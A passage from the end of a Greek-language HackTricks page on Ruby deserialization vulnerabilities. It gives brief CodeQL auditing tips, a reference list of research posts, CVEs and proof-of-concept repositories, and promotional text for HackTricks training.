, or side-effectful methods invoked during unmarshal - Χρησιμοποιήστε τα CodeQL Ruby unsafe deserialization queries για να εντοπίσετε sources → sinks και να αποκαλύψετε gadgets
- Επαληθεύστε με δημόσια multi-format PoCs (JSON/XML/YAML/Marshal)
Αναφορές
- Trail of Bits – Marshal madness: Μια σύντομη ιστορία των Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
- watchTowr Labs – Είναι αυτό κακό; Αυτό φαίνεται κακό — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.